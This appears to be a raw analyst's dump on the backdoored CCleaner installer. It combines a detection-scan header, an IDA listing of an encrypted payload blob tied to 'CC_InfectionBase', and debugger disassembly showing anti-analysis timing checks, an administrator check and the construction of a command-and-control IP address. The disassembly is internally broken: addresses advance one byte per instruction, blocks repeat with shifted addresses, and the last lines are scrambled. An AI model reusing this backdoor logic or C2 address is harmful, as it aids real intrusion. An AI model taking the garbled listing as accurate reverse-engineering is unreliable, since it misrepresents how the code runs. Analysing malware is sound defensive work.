



SHA256: 36b36ee9515e0a60629d2c722b006b33e543dce1c8c2611053e0651a0bfdb2e9

File name: ccleaner

Detection ratio: 4 / 64

Analysis date: 2017-09-18 10:58:51 UTC (8 minutes ago)



```
.data:0082E0A8 byte_82E0A8 db 0, 83h, 15h, 97h, 0C7h, 2Ch, 0C9h, 95h, 75h, 68h, 0C8h; 0
.data:0082E0A8 ; DATA XREF: CC_InfectionBase+10f0
.data:0082E0A8 ; CC_InfectionBase:loc_40107B1r ...
.data:0082E0A8 db 0A1h, 3Dh, 76h, 7, 0CCh, 8Eh, 0F7h, 42h, 0B5h, 0BBh; 0Bh
.data:0082E0A8 db 25h, 0BEh, 43h, 7Eh, 67h, 0ABh, 63h, 3Eh, 0F6h, 8, 37h; 15h
.data:0082E0A8 db 0D0h, 0C6h, 8Ah, 0F8h, 0B9h, 0FFh, 27h, 5Bh, 3Ch, 6Eh; 20h
.data:0082E0A8 db 45h, 9Ah, 3Fh, 0D3h, 5Dh, 25h, 2Eh, 1Dh, 0C2h, 6Bh; 2Ah
.data:0082E0A8 db 11h, 99h, 0B0h, 87h, 0F5h, 87h, 0F3h, 0D8h, 29h, 2Fh; 34h
.data:0082E0A8 db 73h, 9Dh, 99h, 71h, 67h, 0BAh, 28h, 0CFh, 51h, 5, 1Dh; 3Eh
.data:0082E0A8 db 0D5h, 0, 77h, 0B3h, 0A7h, 56h, 7Ah, 36h, 63h, 43h, 4Bh; 49h
.data:0082E0A8 db 0AEh, 0FDh, 0ECh, 4Bh, 0A7h, 58h, 0A4h, 0C7h, 5, 86h; 54h
.data:0082E0A8 db 0E1h, 45h, 14h, 5Bh, 42h, 66h, 9Eh, 0E5h, 57h, 0B6h; 5Eh
.data:0082E0A8 db 8Dh, 6Ch, 0CAh, 0EEh, 94h, 94h, 80h, 0A8h, 2Fh, 87h; 68h
.data:0082E0A8 db 8Ch, 0B0h, 0DAh, 0ECh, 0EDh, 0FFh, 0EEh, 0CDh, 70h; 72h
.data:0082E0A8 db 6Ah, 0EEh, 0BAh, 0D6h, 17h, 0A6h, 4Ch, 0F0h, 6Eh, 3Bh; 7Bh
.data:0082E0A8 db 31h, 0A3h, 3Bh, 3Bh, 6Ch, 0B6h, 0B1h, 0BAh, 94h, 0BAh; 85h
.data:0082E0A8 db 51h, 0D1h, 4Ch, 2Ah, 0E8h, 9, 0AAh, 0CEh, 80h, 23h; 8Fh
.data:0082E0A8 db 0B2h, 80h, 2Eh, 0FEh, 1Ch, 0CFh, 9Fh, 0F9h, 0BBh, 19h; 99h
.data:0082E0A8 db 4, 0C4h, 5Ch, 0D3h, 4Fh, 3Ah, 1Fh, 55h, 46h, 0C8h, 6Ch; 0A3h
.data:0082E0A8 db 2Fh, 9, 4Ch, 0E1h, 6Bh, 0DEh, 7Ch, 0F0h, 50h, 6Eh, 3Eh; 0AEh
.data:0082E0A8 db 7Fh, 70h, 0Bh, 0FEh, 40h, 40h, 0B6h, 0FEh, 0Bh, 0FEh; 0B0h
```


017A252E	55	push	ebp		
017A252F	8BEC	mov	ebp, esp		
017A2531	81EC A8020000	sub	esp, 0x2A8		
017A2537	53	push	ebx		
017A2538	56	push	esi		
017A2539	8B35 68107A01	mov	esi, dword ptr [0x17A1068]	msvcrt.time	
017A253F	33D8	xor	ebx, ebx		
017A2541	57	push	edi		
017A2542	53	push	ebx		
017A2543	FFD6	call	esi		
017A2545	8BF8	mov	edi, eax		
017A2547	C70424 50020000	mov	dword ptr [esp], 0x259		
017A254E	E8 84FFFFFF	call	017A24D7		
017A2553	53	push	ebx		
017A2554	FFD6	call	esi		
017A2556	2BC7	sub	eax, edi		
017A2558	59	pop	ecx		
017A255E	59	pop	ecx		
017A255F	72 1B	jb	short 017A257C		
017A2561	53	push	ebx		
017A2562	FFD6	call	esi		
017A2564	59	pop	ecx		
017A2565	8945 F0	mov	dword ptr [ebp-0x10], eax		
017A2568	E8 0AF1FFFF	call	017A1677		
017A256D	3945 F0	cmp	dword ptr [ebp-0x10], eax		

017A24D7	55	push	ebp		
017A24D8	8BEC	mov	ebp, esp		
017A24E1	53	push	ebx		
017A24E2	56	push	esi		
017A24E3	8B35 68107A01	mov	esi, dword ptr [0x17A1068]		
017A24E4	33D8	xor	ebx, ebx		
017A24E5	57	push	edi		
017A24E6	53	push	ebx		
017A24E7	FFD6	call	esi		
017A24E8	8BF8	mov	edi, eax		
017A24E9	C70424 50020000	mov	dword ptr [esp], 0x259		
017A24EA	E8 84FFFFFF	call	017A24D7		
017A24EB	53	push	ebx		
017A24EC	FFD6	call	esi		
017A24ED	2BC7	sub	eax, edi		
017A24EE	59	pop	ecx		
017A24EF	59	pop	ecx		
017A24F0	72 1B	jb	short 017A257C		
017A24F1	53	push	ebx		
017A24F2	FFD6	call	esi		
017A24F3	59	pop	ecx		
017A24F4	8945 F0	mov	dword ptr [ebp-0x10], eax		
017A24F5	E8 0AF1FFFF	call	017A1677		
017A24F6	3945 F0	cmp	dword ptr [ebp-0x10], eax		
017A24F7	59	pop	ecx		
017A24F8	59	pop	ecx		
017A24F9	72 1B	jb	short 017A257C		
017A24FA	53	push	ebx		
017A24FB	FFD6	call	esi		
017A24FC	59	pop	ecx		
017A24FD	8945 F0	mov	dword ptr [ebp-0x10], eax		
017A24FE	E8 0AF1FFFF	call	017A1677		
017A24FF	3945 F0	cmp	dword ptr [ebp-0x10], eax		
017A2500	59	pop	ecx		
017A2501	59	pop	ecx		
017A2502	72 1B	jb	short 017A257C		
017A2503	53	push	ebx		
017A2504	FFD6	call	esi		
017A2505	59	pop	ecx		
017A2506	8945 F0	mov	dword ptr [ebp-0x10], eax		
017A2507	E8 0AF1FFFF	call	017A1677		
017A2508	3945 F0	cmp	dword ptr [ebp-0x10], eax		
017A2509	72 0A	jb	short 017A257C		
017A250A	FF15 90107A01	call	dword ptr [0x17A1090]	shell32.IsUserAnAdmin	
017A250B	85C0	test	eax, eax		
017A250C	75 07	jnz	short 017A2583		
017A250D	33C0	xor	eax, eax		
017A250E	E9 31020000	jmp	017A27B4		
017A250F	E8 B2FAFFFF	call	017A203A		
017A2510	68 00000100	push	0x10000	UNICODE "\\\\"	
017A2511	6A 0A	push	0x0A		

017A2504	59	pop	ecx		
017A2505	8945 F0	mov	dword ptr [ebp-0x10], eax		
017A2506	E8 0AF1FFFF	call	017A1677		
017A2507	3945 F0	cmp	dword ptr [ebp-0x10], eax		
017A2508	72 0A	jb	short 017A257C		
017A2509	FF15 90107A01	call	dword ptr [0x17A1090]	shell32.IsUserAnAdmin	
017A250A	85C0	test	eax, eax		
017A250B	75 07	jnz	short 017A2583		
017A250C	33C0	xor	eax, eax		
017A250D	E9 31020000	jmp	017A27B4		
017A250E	E8 B2FAFFFF	call	017A203A		
017A250F	68 00000100	push	0x10000	UNICODE "\\\\"	
017A2510	6A 0A	push	0x0A		

017A215E	0FB645 F8	movzx	eax, byte ptr [ebp-0x8]		
	push	eax			
	lea	eax, dword ptr [ebp-0x28]			
	push	eax			
	push	dword ptr [ebp+0xC]			
017A2161	call	dword ptr [0x17A106C]	msvcrt.printf		
	add	esp, 0x18			
	lea	eax, dword ptr [ebp-0x28]			
	push	0x20			
	pop	ecx			
	pop	edi			
	mov	byte ptr [eax], 0x0			
	inc	eax			
	dec	ecx			
	jnz	short 017A217A			
	mov	eax, dword ptr [ebp+0xC]			
msvcrt.printf					
2E 31 32 36 2E 32 32 35 2E 31 34 3E 216-126-225-148 0197FC98 0197FE90 ASCII "216.126.225.148" 32 31 36					
0197FE8158 ED-11 82 74 SE A8 A1 A2 AF 2C A2 A8 F7 A1 A2(P??) 0197FE84 00000008					

